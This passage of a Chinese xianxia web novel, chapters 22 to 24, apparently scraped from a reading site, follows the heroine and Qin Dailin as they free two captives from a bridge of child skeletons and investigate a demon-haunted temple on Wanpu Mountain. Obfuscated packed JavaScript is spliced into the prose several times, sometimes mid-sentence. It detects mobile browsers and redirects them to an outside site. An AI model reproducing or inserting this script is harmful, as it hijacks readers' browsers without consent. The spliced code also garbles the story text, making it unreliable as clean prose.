阿龙点头道:“嗯,我一人能力有限,只能请这些被打扰的尸兄尸姐们帮忙,让他们以父母之身来‘收养’这些尸童,想着,能化去一点怨气是一点……” 因纾禾突然很佩服眼前这个少年,虽然是山灵所化,看起来不过也就十一二岁,可是心智是绝大多数成人都无法比拟的。 李叔看向阿龙,道:“阿龙找到我们时,我们本以为他不过是个小鬼头,没太在意。没曾想,他竟一座坟一座坟地去跪拜。最终,我们被他的真诚打动。再加上,若万普山的煞气加重,周围也必会遭殃。于是,我们一拍即合,决定了此事。” 他顿了顿,继续道:“每天由阿龙引出一些尸童,修复他们的身体。那些尸童大多刚死不久,仍能修复。修复好后,我们便以父母的身份,将他们教养起来。……后来,赵氏夫妻也很是喜欢阿龙,问阿龙愿不愿意做他们的孩子。” 他抬手摸了摸少年的脑袋,欣慰道:“所以,阿龙也有了喜爱自己的父母,而他的弟弟,也是阿龙在尸坑里发现的,阿真这孩子天生煞气重,死后煞气更甚,开始难教养得很,换了好几户,都没办法,是阿龙说服了赵氏夫妇,才把阿真留在赵家,开始啊,这两兄弟也是打得厉害……” 阿龙嚅嗫道:“李叔,我们没有打架……” 李叔怔了怔,仰头笑道:“对对对……是阿龙单方面被打得厉害……哈哈哈……不过很快,阿真就特别喜欢这个哥哥,阿龙也多了个小助手。阿真一出马,那些开始暴戾的小尸童,都能瞬间被震慑住。” 因纾禾道:“所以刚刚追我们的那些骷髅大军,是万普山原本埋葬的一些尸骨?” 阿龙点头道:“没错,他们都是被煞气侵染成了邪尸的。” 秦涳突然想到了什么,道:“我发现,你们似乎对于我们变成如今的样子,好像并不奇怪?” 阿龙挠了挠头道:“那个石洞里面的文字,是我刻上去的……” “……”秦涳顿了顿,继续道,“你是如何得知这个咒诀的?” 阿龙道:“是我爷爷……我小时候没有什么朋友……爷爷经常变成小朋友陪我,我也是后来才知道,童年的玩伴是爷爷变的……” 秦涳道:“那你爷爷是如何知晓的?” 阿龙道:“爷爷说,是老太爷见着爷爷没玩伴,也变成小孩陪他的。” 秦涳:“……” 因纾禾道:“那你为何要在洞坑里面刻这个?” 阿龙道:“因为那些刚遇害、没有得到教化的童尸,对成人很有敌意,但对小孩却往往比较亲切。所以我就给每个尸坑都刻上了咒诀,如果有无辜的成人不小心掉进去,看到咒诀或许能活命。” 因纾禾很是赞赏地看向阿龙:“你到底多大?” 阿龙真诚地回答道:“十一岁了。” 因纾禾眯着眼道:“真的?” 阿龙点了点头,坚定地道:“自然,不骗人。” 因纾禾道:“你真是我见过最有大智慧的少年,对吧?”她突然望向秦涳。 秦涳淡淡道:“第二个。” 因纾禾惊讶道:“你还见过更厉害的?” 秦涳抬眸深深地看着她,语气坚定:“嗯。” 因纾禾被他那深邃的目光盯得有些不知所措,随即收回视线,干笑道:“好好好,改天记得介绍我认识……” 秦涳点头莞尔:“好。” 阿龙又道:“姐姐谬赞了,我不过是想守护住我生长的地方而已……” 因纾禾蓦然一怔,这句话,似曾相识。 当年,她也不过是想要守护住自己生长的地方而已…… 秦涳见她出神,轻声问道:“你怎么了?” 因纾禾这才缓过神来,笑道:“没事、没事,就是想起了一些事情……” 秦涳闻言,眼中闪过一丝明亮:“想起了什么?” 因纾禾眼珠子转了一圈,道:“想起今天的烤山兔了!话说我们吃的菜,真的都是你做的?” 秦涳挑了挑眉,似笑非笑:“饿了?” 因纾禾摸了摸肚子,点头道:“是有点。” 秦涳看向李叔,淡淡地问:“可还有吃食?” 李叔一拍大腿,笑道:“哎唷,公子今天做的菜肴太好,都被吃完了。我现在去厨房看看……” 秦涳起身道:“我自己去看看吧。” 真是说来就来啊,若是有点现成食物填填肚子倒也不错,但要重新做一顿倒也不必。她其实并没有那么饿,也不想大半夜折腾。 于是,她立即拉住了他道:“不用了不用了……再折腾天就亮了,我还不如去睡个觉呢……” 秦涳看着因纾禾拉住自己的手,半晌,抬眸看着她认真道:“你不是饿肚子睡不着吗?” 因纾禾闻言一怔,抬头直勾勾地看着他,道:“你怎么知道?” 秦涳不答反问:“难道不是吗?” 因纾禾突然反应过来,应该是甄青瑶也有这个习惯,而秦涳显然对她非常了解。 随即,她松开了他衣袂的边缘,吊着眼皮,睡意浓浓道:“其实,我现在也没有那么饿。要不,你还是让我去睡一觉吧,我真的很困了……” 因纾禾打了个哈欠,懒洋洋地说道:“李叔,我可否还可以睡之前的那个床?” 李叔笑着应道:“当然可以!你快去吧。” 因纾禾晃晃悠悠站起,对着秦涳道:“那我先去睡了……” 秦涳微微颔首:“去吧。” …… 翌日一早,因纾禾是闻着香味醒来的。她迷迷糊糊地飘着身子走到了饭桌前,眼睛一睁开,便看到了一碗热气腾腾的水饺! 刚想动筷,一碗清水伸到眼前。 “漱口。” 凉凉的少年音,带着不容拒绝的意味。 因纾禾抬头看了一眼,愣是一惊。 白日里再看,少年秦涳唇红齿白,皮肤嫩得好似能掐出水来,一看就是偏偏美少年,然后此时此刻,一身华服下,他竟突兀地系着襻膊,手里拿着着一只碗,眼睛一瞬不瞬地盯着她。 正当因纾禾有些愣神时,李夫人咯咯笑着从门外走了进来,道:“公子可是一大早就在厨房忙活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858795|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢!小姑娘,你可真是好福气呢!” 闻言,因纾禾内心不免为甄青瑶感到惋惜,多好的一个少年郎啊!要是她还活着,或许还真能成为一对佳偶。 瞧这小妮子又发呆,秦涳好奇问:“又在想什么呢?” 因纾禾立刻回过神来,笑盈盈道:“你一大早就开始准备食物,真是辛苦了。我一定会好好品尝,确保一丁点都不剩!” 于是,她毫不犹豫地端起盛满清水的碗,漱口一次后,便吐在盆中,正准备放下。 秦涳道:“再漱。” 因纾禾顿了顿,瞥了他一眼,还是乖乖又漱了一次。 秦涳道:“三次。” 为了美食,她忍了! 可她还是忍不住抱怨一句:“你是不是当过爹啊……” 这爹味也太浓厚了一些! 秦涳闻言,沉默了一阵,突然道:“或许吧。” 啊?他还真有儿女了?? 那他还死皮赖脸追着甄青瑶做什么! 她突然将碗重重放下,恶狠狠盯着秦涳。 秦涳不明所以:“你这般看着我做什么?” 原本还想着他是个痴情种,不想伤他,结果也是一个渣渣,光好看有什么用!她险些被皮相给迷惑了,真该死! 她正色道:“儿子还是女儿?” 秦涳道:“什么?” 因纾禾冷哼一声,道:“既然都是有家室的人了,就不要到处沾花惹草。” 秦涳微微一愣,蹙眉道:“我什么时候……” 然后他想到自己刚才的回答,又瞧了一眼因纾禾的表情,抿住了笑意,挑眉道:“你……这是在生气?” 因纾禾立即狡辩道:“胡说八道,这和我有什么关系,我生哪门子气?” 秦涳轻轻“哦”了一声:“真没生气?” 因纾禾咬牙切齿,一字一句道:“我、没、有!” 秦涳蓦然道:“我也没有。” 因纾禾撇了他一眼:“你没有什么?” 原本站在一旁看乐子的李夫人又咯咯笑了起来,终于忍不住打岔道:“哎唷,公子都和我说过了,他还没成亲呢,哪来的儿女哟,自然是没有的!” 妇人素喜八卦,见秦涳如此俊美,且厨艺不凡,便在厨房帮着打下手时,开始了诸般打探。 她心中有盘算,觉得这样的公子,乃是极品,若有合适的姑娘,必定要为他介绍。却全然忘却,自己早已成了尸骨一具。 至于秦涳,虽只以“不是”“没有”“客气”应对她的询问,言辞简短,然李夫人已凭着这些言语,将他婚姻的事宜揣摩得大致明了。 因纾禾对李夫人道:“那可难说,好些人仗着自己的皮囊还不错,诱骗小姑娘的也不是没有,也不是非得成亲了才当爹。你说……是吧?”她说着,挑衅似地看向秦涳。 她却发现他脸色已经沉了下来,目光灼灼地盯着她,语气沉稳而带着几分严肃:“我在你眼里,真的如此不堪?” 因纾禾闻言一愣,被他那般森然的目光一看,心中忽然涌上一阵莫名的愧疚,仿佛真的是自己不讲道理地误解了他。她顿时有些心虚,话语也变得结巴:“也、也不是……我、我还是吃饺子吧……” 因纾禾随即夹起一个饺子,直接塞进嘴里,试图掩饰自己刚才的心虚。 突然,秦涳极其认真道:“当初你说过,无论我变成什么样,你都不会背弃我的。我可还一直记着。” 因纾禾顿时噎住,随即咳嗽了起来:“咳咳咳……” 秦涳见状,急忙伸手拿起桌子上起倒扣的杯子,想要给她倒杯水。没想到,因纾禾反应更快,已经先端起漱口的碗,一口气将水喝了下去。 秦涳:“……” 此时,因纾禾心中正暗暗骂道:这甄青瑶怎么回事!原以为也是一个苦主,怎地留下那么多情债! 她着实不知该如何回他,于是选择继续吃饺子堵住自己的嘴。 秦涳沉默看了他半晌,最终只能无奈笑叹道:“慢点吃。” 此时,李叔走了进来,笑道:“哟,小姑娘,醒了啊?” 因纾禾鼓着腮帮子,刚想回他,却被秦涳阻止。 “食不言。” 于是因纾禾撇了他一眼,没有开口,朝着李叔含笑点头。 李叔又对着秦涳道:“公子,我们半个时辰后出发。” 秦涳道:“好。” 而后,李叔和阿龙带着二人出了门,绕过了半座山,来到一座诡异的木桥前。这座木桥非常奇怪,是一座拱桥,确实是心拱桥,约莫十丈长,三丈高,一丈宽,全木搭建,涂上白漆,中间没有溪水河流,竟建在山林中的一处平地。 李叔道:“过了这座桥,前面就是万普山了。” 秦涳道:“你说的那两人,在对面?” 李叔摇头道:“就在眼前。” 22. 第 22 章 因纾禾闻言,走近木桥,绕着桥身转了一圈,却依旧看不出任何异常,疑惑道:“你确定?” 李叔淡然一笑,摇头道:“你不能这么看,这么看是看不到的。” 因纾禾道:“那应该要如何做?” 李叔道:“过桥。” 因纾禾正要走上去,却被秦涳拉了回去。 “我去。” 秦涳踱步上桥,忽然,那座桥像是感应到了人的气息,开始出现无数裂缝,然后变化形态,变成卷曲的骷髅,这些骷髅身形较小,原本是挤在一起摞成一座桥,在它们蠕动的间隙,因纾禾隐约瞧见有一个人的手从骷髅堆里漏了出来,有人被掩埋在里面! 而那些骷髅尸群伸出百手想要去抓秦涳。 因纾禾喊道:“小心!” 秦涳随即翻身腾空,周身银光一闪,身后竟凭空现出一把银光闪烁的气剑。他居然能虚空化实,空气成刃,未携一物,便能以虚为剑,斩空而去,神妙无比,实在非凡! 李叔突然扬声到:“公子,还请手下留情,这些也是那些被害的孩子。” 秦涳闻言,立即收回气剑。因纾禾看准时机,微微凝神,一根藤蔓猛然拔地而起,迅速栓住了那只露出的手。随即,她轻声一喝:“收!”藤蔓瞬间绷紧,朝着她的方向猛地拉回。 然而,就在这一刻,似乎有一股强烈的反作用力出现,藤蔓非但没有向回拉,反而越拉越深,渐渐向尸堆中延伸。没过多久,那只手再次被无形的力量拖入,渐渐消失在堆积的骷髅之中。 秦涳眉心微动,一团火焰自他掌心升腾而起,火光尚未临近,那群骷髅尸便已察觉威胁,瞬间现出惧色,纷纷如潮水般四散而逃。少数骷髅尸竟合拢成团,犹如滚珠疾驰而去。另有一些,因恐惧过甚,竟僵直于原地,身躯颤抖不止,牙齿间不由自主地发出“哒哒哒”的碰撞声。 与此同时,那只手的主人终于被因纾禾拽了出来。随着藤蔓一拽,显现出来的,正是一男一女,确切来说,是童男童女。男童的手被藤蔓紧紧缠住,而他另一只手则死死抓住女童的手。 秦涳飞身而下,蹲下身子,仔细查看二人情况,见他们气息平稳,方才放下心来。 因纾禾道:“这就是你要找的两人?” 秦涳道:“嗯。” 因纾禾又转身看向那群慌乱的小骷髅人,道:“李叔,这些怎么回事?” 李叔叹道:“这些都是很早一批遇害的孩子,与你们见到的成人腐尸不同,它们吸人的方式较为缓慢,不是直接吞噬,而是一点一点地吸入骨髓。所以,这两位身上并没有那种肉I体上的致命伤害。” “如今,他们之所以沉睡,是因为这些尸骸正在逐渐侵入他们的灵体,吸收他们的灵息,先让他们的精神死去,再慢慢腐化他们的躯体。现在,他们正陷入某种梦魇之中。” 他顿了顿,蹲下身子,指骨轻轻撑开二人眼皮,细细观察了片刻,才继续道:“这二位,眼白干净,没有丝毫浑浊,看得出是良善之人,心中无恶念与心魔。正因为如此,他们才未被那么快吞噬。依我以往的经验,他们应该不久后便能苏醒。” 因纾禾突然想到了什么,又看向秦涳道:“刚才你用的是什么火焰?为何他们那么惧怕?” 秦涳沉吟片刻,才缓缓开口:“是我之前收集到的地焰火。方才我察觉这些尸骸上有类似的气息,于是便试探了一下。” 不知是不是她的错觉,好似看到秦涳的眼眸中闪过一丝黯淡之色,仿佛某种难言的情绪一瞬即逝。她确认道:“真是这样么?” 秦涳淡淡道:“嗯。” 因纾禾心中明白,显然对方并不愿意多说,她自然也没有继续追问的必要。她向来不是那种喜欢窥探他人隐私的人,既然秦涳选择保持沉默,她便不再多言。 随即,她转身朝着那些四散开来的尸骸走去。许多尸骨已开始钻入地下,只有一些较为虚弱的滞留在地面上。 李叔道:“我们最初发现这座桥时,只有半丈高。后来,它不断吸人,受害者的尸骨也被埋在其中,变成尸骸,随着时间推移,桥身不断扩大。这些比较弱的,应该是最近才被吸入到桥身的。” 因纾禾道:“这座桥到底是什么来历?” 李叔摇头道:“我们也不知。”他顿了顿,继续道,“我们也尝试在这附近设置提醒,但还是有人会闯入进来。如果可以,还请二位将它们超度了吧,否则孽障将会越来越大。” 因书禾用伸手感受到尸骸灼热之气,正如秦涳所言,它们身上有地焰火的气息,皆是被地焰火焚烧致死,导致怨气汇聚无法消散。 因纾禾从乾坤袋中取出四块灵石,依次将它们在尸桥四方——东、南、西、北各布下一块。随后取出宝葫芦,将其安置在阵眼之处,低声念起了诀文。 随着她念动口诀,宝葫芦开始泛起一股极清之气,这股气息缓缓飘向北方。瞬间,北方的灵石闪烁了几下,极清之气逐渐融入其中,渗透进地底深处。 接着,东方的灵石也开始闪烁,继而西方的灵石也渐渐亮起,最后是南方的灵石。四方灵石的光芒交织在一起,阵法的力量逐渐成型。 不久,阵内弥漫起一阵浓密的水雾,氤氲缭绕,正在化解火之怨气。 因纾禾观察着阵法中的变化,片刻后,原本荒凉、死气沉沉的尸桥上,生出一片青翠的碧草。她才满意点头道:“搞定。” 此时,忽闻一阵闷咳声,男孩率先清醒,猛地坐起身来,警觉地环顾四周,开口问道:“你们是谁?” 他的目光迅速扫过众人,最终停留在秦涳的脸上,似乎从这张面孔中找到了几分熟悉的气息。他又仔细打量了一番,随即眼睛一亮,像是抓住了救命稻草,激动地喊道:“岱临兄!” 男孩话音刚落,整个人猛地一跃而起,直接朝秦涳扑了过去,抱住他兴奋道:“我就知道,你肯定会来救我们的!” 秦涳:“……” 因纾禾则站在一旁蹙眉观看,心中暗道:啧啧啧,什么情况…… 秦涳原本怔怔没反应,可瞧着因书禾的表情十分不对劲,于是单手揪住男孩的后襟,将他从自己身上扯下,随手一抛,男孩轻巧接了一个后空翻,半跪落地。 男孩起身之际,还不忘抱怨道:“这么久没见,岱临兄,你还是这般冷漠无情!” 然后他又上下打量起秦涳一番,突然“噗嗤”笑出了声:“不过我倒是没想到,你居然也会着了道,哈哈哈!” 秦涳懒得搭理他,只是略略瞟了因纾禾一眼。 因纾禾则好奇道:“原来你的字叫岱临啊?” 秦岱临道:“嗯。” 因纾禾道:“秦岱临,挺好听的嘛!” 李叔突然激动了起来:“秦岱临……” 他顿了顿,小心翼翼地确认道:“公子……可是天虞山的訚临君!” 秦涳还未开口,男孩就抢先道:“当然是他……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李叔道:“万普山上封着大鬼,山下的尸骸童骨,基本上都是从万普山上运下来的。如果你们在这里没找到,那么你们要找的孩子,极有可能还在万普山上。” 祁远翰对李叔道仍抱有一丝戒备:“你怎么会知道?你不会是故意引诱我们上钩的吧?” 高漫闻言,神色慌张,眼神有些空洞:“万普山?那我们赶紧去万普山……” 祁远翰赶紧上前扶住她,关切道:“漫漫,你没事吧?” 高漫拼命摇头,焦急道:“我没事、我没事。我们赶紧去找阿沛!” 看到她神情不对,秦岱临沉声对李叔道:“李叔,麻烦你带他们先去你们村子休息一日。” 李叔点了点头:“好。” 然而高漫依旧拼命摇头,神色愈加焦虑:“我不需要休息,阿沛还没找到,我怎么能休息?我不要,我要去找阿沛!” 说着,她挣脱了祁远翰的手,摇摇晃晃地朝前走去。 祁远翰追上前道:“漫漫,你现在需要休息。有岱临兄在,就一定能找到小阿沛的。” 高漫罔若未闻,继续想要甩开祁远翰的手去找人。 因纾禾见状,思索片刻,蓦然道:“姑娘,我们一起去找阿沛。他们不让你去,你就跟着我,我带着你!” 这时候高漫才停下脚步,缓缓回身,目光闪烁凝视着因纾禾道:“真的吗?” 因纾禾拍着胸脯,信心十足地道:“我说话,保真!” 高漫这才从泪眼中勉强挤出一点笑意:“谢谢。” 因纾禾上前几步,忽然偏头看向仍然注视着自己的秦岱临,道:“我可不是故意和你唱反调,只是……我问你,如果你心里也有一个在乎的人消失了,别人劝你不要找,你可愿意?” 23. 第 23 章 秦岱临顿时愣住,他眼睛一瞬不瞬的看着因纾禾。 瞧着那眼神,可见他对甄青瑶是用情至深,即便他没回答,因纾禾也自然看懂了,道:“你也做不到,何必让别人做到呢?” 说罢,她转身朝高漫走去,眼中闪过一丝俏皮,扬声道:“我们走,一起上山打妖怪!” 高漫重重点头:“嗯!” 她似是得到了某股力量,步伐也变得轻快稳健,迅速跟上了因纾禾的脚步。 秦岱临站在身后,目送因纾禾的背影渐行渐远,忽而低头,轻轻摇头一笑。 就在这时,祁远翰目光紧随其后,看到高漫正快步奔向因纾禾,心中不由升起一股莫名的危机感——平日里,高漫可是总是跟在自己身后! 他有些不知所措,悄然凑到秦涳身边,低声问道:“这人是谁啊?” 秦岱临瞥了他一眼,依旧沉默不语,随即以从容的姿态向前走去。 祁远翰:“……” 阿龙对万普山极为熟悉,因此走在最前面探路。原本他小心谨慎,但随着一路走来,发现这条山路似乎异常畅通。 途中,虽然偶尔遇到一些尸手伸出拽住他们的脚,但很快便被几人合力清除。与晚上那些数量庞大的尸群相比,这些零星的小邪尸根本不成问题。 阿龙皱眉道:“奇怪,之前这山上白天常能遇到上百只邪灵,今天竟然一只也没见着……” 祁远翰轻笑一声,得意道:“这有什么好奇怪的,岱临兄和我在这里,这些妖魔鬼怪自然就会退避三舍。” 很快,他们便抵达了山顶。眼前的景象只有盘根错节的古树和凌乱的山石,阴森冷寂,四周却依旧空无一物,没有丝毫鬼影。祁远翰不禁皱了皱眉:“你确定这里有大祟?” 阿龙微微点头:“跟我来。” 他继续朝着林深处走去,直到停在一处悬崖边缘。 等因纾禾靠近一看,视野骤然开阔。 眼前竟是一个深邃的大坑,目测坑深千尺,宽约百丈,中央孤立着一座庙殿。 阿龙道:“这是杜家修建的镇邪庙,大祟,应该在里面。” 祁远翰道:“不是,这么大的庙在这,这大祟还能在庙里胡作为非,这不是开玩笑吧?” 随后上来的李叔道:“少侠,我们怎么可能胡乱开玩笑,我们也是被煞气侵扰没了办法,昨晚,訚临君遭遇的邪尸群,以及你们被埋在尸骸堆中的经历,就是最好的证明。” 祁远翰道:“我并非说你们骗我,只是现在看,这个庙还挺正常的。” 秦涳道:“这庙到底是镇邪还是助邪,进去看看便知。” 李叔道:“我们二人也只能在这地方等你们了。那个庙,我们靠近不得。” 于是,他们四人飞身而下,落入坑底,朝庙殿走去。 从下往上看,庙殿高约莫高百尺,有五层,整体看上去颇为气派。 靠近庙身,虽然没有感知到强大的祟气,但是也没用感知到仙门灵气, 庙殿呈宝塔形式,层层叠叠向上延伸,飞檐舒展。秦岱临走在最前头,径直推开了黑漆色的殿门。开门的一瞬间,竟然嗅到了一股淡淡的血腥之气。 他不禁皱了皱眉,抬腿走了进去。一座庞大的石神像赫然立在其中,高度几乎触及庙殿宝顶,它眼皮低垂,似在俯视来者。殿内有五层廊道,每一层廊道都围绕着这尊石像。 祁远翰上前查看神像基座上的铭文,半晌道:“这座石像居然是杜天承!” 因纾禾道:“杜天承是谁?” 秦涳道:“杜天承是杜家门派的开创者。百年前,他不过是个游散的驱邪术士。那时万普灵脉强盛,有一些邪煞想要逆天而行,借灵脉成魔。导致方圆百里的百姓苦不堪言,后来杜天承游历至此,斩杀了大祟得以成名,就在这里建宗立派。杜天承乃是杜家的信仰,在杜家后人中如同神一般的人物。我想,正是因为如此,杜家才会在这万普山上修建一座杜天承的石像,想要以此镇压邪煞的力量。” 此时祁远翰已经走到了石像背后,突然唤他们:“你们快过来看!” 因纾禾闻讯过去,朝着祁远翰手指方向抬头望,发现石像背后居然有一个黑窟窿。 而那个黑窟窿,正好在三楼廊道的位置,于是祁远翰目光在四周扫了一圈,发现了一个木梯就上了三楼,转到石像背后观察片刻,道:“这座石像居然是空心的,里面黑乎乎的。好像……好像还是被烟气熏黑的!” 高漫仰头道:“烟气熏黑的?难不成里面之前焚烧过什么?” 祁远翰道:“应该是!” 因纾禾闻言,也立即上了三楼,然后在她还发现,三楼贴着墙绕着一圈小隔间。 她注意到,这些隔间不大,每个隔间的高度只到她的胸前,宽度约三尺。每个隔间只有一个小门,门的尺寸如同狗洞般狭小,且都已经被牢牢锁住。 祁远翰凑过来道:“这些隔间是干什么用的?那么小,人也进不去。” 因纾禾斟酌片刻,道:“人也不是生下来就像你这么大块头的。” “你……”祁远翰刚想反驳几句,突然明白过来,“你是说,里面有可能是孩子?” 高漫闻言立即也上了楼,想要打开隔门,奈何都是被铜锁锁住,于是她开始挨个格子敲击:“阿沛!阿沛!你如果能听到姐姐的声音,就回应一下!” 可是没任何反应,高漫泪水又开始在眼眶打转,祁远翰立即道:“漫漫你先让让,让我来!” 祁远翰直接想要从背后抽出自己的佩剑,顿时僵住,道:“我的佩剑呢!” 然后他才反应过来,自己醒来之后就没有碰过剑,多半是在被尸桥困住的时候,遗失了! 忽然,一道剑芒划过,围绕祭台转了一圈,瞬间将那些铜锁统统斩断,再一抬眸,就看到一道光影飞回秦岱临身上。 祁远翰不禁拍手赞叹:“不亏是我岱临兄,时时刻刻那么让人有安全感!我感觉这少年身子对你完全没有束缚!” 他们将那些隔间打开,里面漆黑一片,但是却空无一物,虽然没有找到阿沛,但是也让他们瞬间松了一口气,至少有很大可能还活着。 因纾禾道:“你们不觉得,这个陈设正对石像的窟窿 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高漫道:“阿翰,你再说什么?” 可是祁远翰却没有回答她,似乎一直在自言自语,然后又听到里面他的声音闯出来:“滚开!别靠近我!” 因纾禾瞬间觉得不对劲,和秦岱临交换了一个眼神,他便直接凝神聚气,周身灵气大盛。 “得罪了,杜宗主。” 一道剑气从他身后呼啸而出,猛地击向那座石像。石像表面顿时传来一阵震动,随后在剑气的冲击下,开始迅速出现裂纹,裂痕从某一点蔓延开来,像蜘蛛网般迅速扩散。 随着“砰”的一声巨响,石像轰然倒塌,四散的碎石如雨点般落下。而在倒塌的瞬间,一层剑气所生成的透明保护罩迅速浮现,完美地护住了底下的祁远翰,确保他毫发无损。 众人捂住鼻口疯狂的扇手,瞧见祁远翰怔怔坐在那堆废墟中,茫然抬头看了他们几个,讷讷道:“我这是怎么了?” 因纾禾道:“刚才你中邪了。” 祁远翰道:“中邪了?” 高漫亦道:“刚才你一直在自言自语,我们叫你都没听见。” 秦岱临道:“你刚才在里面看到什么了?” 祁远翰低头凝思片刻,似终想起什么道:“我记起来了!我掉进了那座石像里,里面黑漆漆的,什么也看不清。我当时心里好奇,就想看清楚里面到底有什么,于是吹燃了火折子。然后……我就看见了那里面有好多黑色的抓痕,密密麻麻的。就在我盯着看时,突然间,耳边传来了好多小孩的哭声,那哭声刺入脑海,听得我头疼欲裂,几乎要崩溃了。就在那时,那些抓痕…突然开始扭曲,竟然生出了许多只手,拼命地向我伸过来,想要抓住我,我想逃又逃不掉。然后、然后就看到你们了……” 秦岱临闻言已经从三楼飞身而下,从那堆废墟中拾取几块较为完整的石块。分析过后,他得出了一个结论:“如阿龙所言,这里确实有过一个大祟——大焚鬼。” 24. 第 24 章 因纾禾看向祁远翰道:“你确定你听到的都是小孩的哭声?” 祁远翰道:“没错,大人和孩子的声音我还是能区分出来的。” 因纾禾看了看身后的小隔间,一看就是为了稚童准备的,加之在山下遇到那么多尸童,这到底是什么缘由一定要把目标放在孩子身上? 高漫眼看又要哭了:“那阿沛不会……” 秦岱临低声道:“不会,阿沛是昨日失踪的,而这块煅烧后黑糊的石块,凭其表面硬度来看,至少已经冷却了十天。” 因纾禾道:“看样子,这大焚鬼在这里造了不少孽障。我们来晚了一步,这大祟已经被人转移走了。” 高漫缓了缓情绪,道:“你怎知是被人转移了,不是大祟自己逃掉的?” 因纾禾道:“你们看看这里,到处空空,很明显是被人处理过的,如果是大祟自己逃出去,它非这个心思做什么?定然自己就被有心人困在这里。或者说,养在这里,因为没人会想着镇邪庙里还能养邪。” 祁远翰道:“养邪?谁能在这里养邪?难道真是苏家吗?苏家在这里养邪做什么?” 因纾禾挑眉道:“你问我,我怎么知道?” 祁远翰站起身子,拍了拍自己身上的尘土道:“不是你说有人在这里养邪吗?” 因纾禾道:“是我说的,可是我可没说是苏家。” 祁远翰道:“这不是明摆的嘛,这座镇邪庙如今就是苏家管理,除了他们,还能谁有权利把大祟放进来?” 因纾禾点头道:“嗯,你说的很有道理。即便不是苏家人做的,那肯定也和苏家人脱不了干系。” 高漫道:“那阿沛,会不会在苏家?” 祁远翰道:“我看极有可能,要不我们赶紧下山吧!” 因纾禾道:“既然来了,总得做点什么吧?” 祁远翰道:“做什么?这里的大祟都被转移了,我们留在这看风景?” 因纾禾道:“我们就这么走了,阿龙和李叔他们怎么办?” 祁远翰道:“什么怎么办?”他顿了顿,道,“你不会是想……不可能吧!就我们几个,这山里的的邪尸数不尽啊!” 因纾禾道:“我有一计,无需我们硬上!” 祁远翰怀疑道:“你能有什么计谋?” 因纾禾道:“这座山脉本就蕴含着丰厚的灵脉,只是近年来煞气冲撞,导致灵气的流通受阻。如今,煞气之源已被转移,我们只需疏通山间的灵气,让万普山的气脉如同呼吸一般恢复正常,我们便能重启山脉的灵气循环,隔绝煞气的扩散。” “再者,这里有一处天然的山坑。我们可以趁此机会,在坑内布下阵法,将那些邪尸一一引入。只要困住它们,确保它们无法脱逃,山脉的灵气便可慢慢净化掉它们身上的煞气。届时,只需让阿龙看管住它们,就可以了,至于消除它们的邪煞之气,只是时间长短的问题。” 祁远翰道:“又要疏通山间灵气,同时又要困住那么多的邪尸。怎么可能嘛!” 因纾禾道:“这些有何难?只要五行阵法就能解决,世间万物都遵循五行的相生相克,金化煞,木生发,水流动,火蓄力,土稳固。只要提前布置好阵法,这两个都不成问题。只是我需要布阵,就得需要人去把那些邪尸引出来。” 她不自觉地看向秦岱临,心知这个任务风险不小,不能强人所难。虽然如此,秦岱临的实力摆在那里,若是要选一个人去,他无疑是最合适的,当然,她也得尊重他的意见。 秦岱临直接道:“你需要我何时将它们引过来?” 因纾禾笑嘻嘻道:“只需给我三个时辰布阵!” 秦岱临道:“好。” 因纾禾一如既往地布置五行阵,这次的场地却大得多,普通的四颗灵石根本无法应付。她只能就地取材,让秦岱临帮她劈出四个丈高宽的圆形巨石,再让他在每块巨石上刻满五行符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872613|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文。经过一番精细的工作,巨石被推滚到东南西北四个方位,阵法终于布置妥当。 秦岱临立即下山去吸引邪尸群,阿龙和李叔也紧随其后,协助下山帮忙。而祁远翰则已累得瘫软在地,额头上满是汗珠。刚才,为了显示自己的男子气概,他坚持不让姑娘们去推巨石,结果自己累得半死。 因纾禾见状,语气带着几分调侃地提醒道:“同样都是男子,三块巨石都是秦公子推的,那上面的符文都是他刻满的,而你只推了一块石头怎就累成这样?” 祁远翰喘着气,疲惫地摆了摆手,勉强挤出一丝笑容:“这岱临兄简直是金刚之躯,谁能与之相比?再说了,我们都变成了童身,唯独他是少年身。少年身正是最有活力的时期,怎么可能比得过他?他简直就是被上天眷顾的天之骄子,我输给他,也不丢脸。那石头那么大,若是换了别人,恐怕都推不动呢!” 说到这,因纾禾也不禁生疑,他们三个都变成了五六岁的稚童模样,唯独秦涳却保持着十一二岁少年的模样。与他们的可爱稚嫩不同,秦涳的身形已带着一股淡然的成熟气质,散发出一种既青涩又帅气的少年风采。 祁远翰突然道:“甄姑娘,你和岱临兄……是什么关系?” 他早有八卦之心,奈何刚才秦涳在旁,他才强忍心中好奇:“我还是第一次见他单独和什么姑娘在一起,快说。你们什么关系!” 因纾禾顿时一愣:“他那模样,身边还缺姑娘?” 祁远翰道:“哪是他身边缺姑娘啊,他是完全不搭理人家!” 因纾禾摇头叹息:“还真是痴情……”她说的自然是秦岱临对甄青瑶的感情。 由此可见,甄青瑶在秦岱临心中的地位极为重要,若他得知纾禾占据了他所爱之人躯体的事实,恐怕会毫不犹豫地一剑劈了她。 想到此处,因纾禾竟也忍不住打了个寒颤。 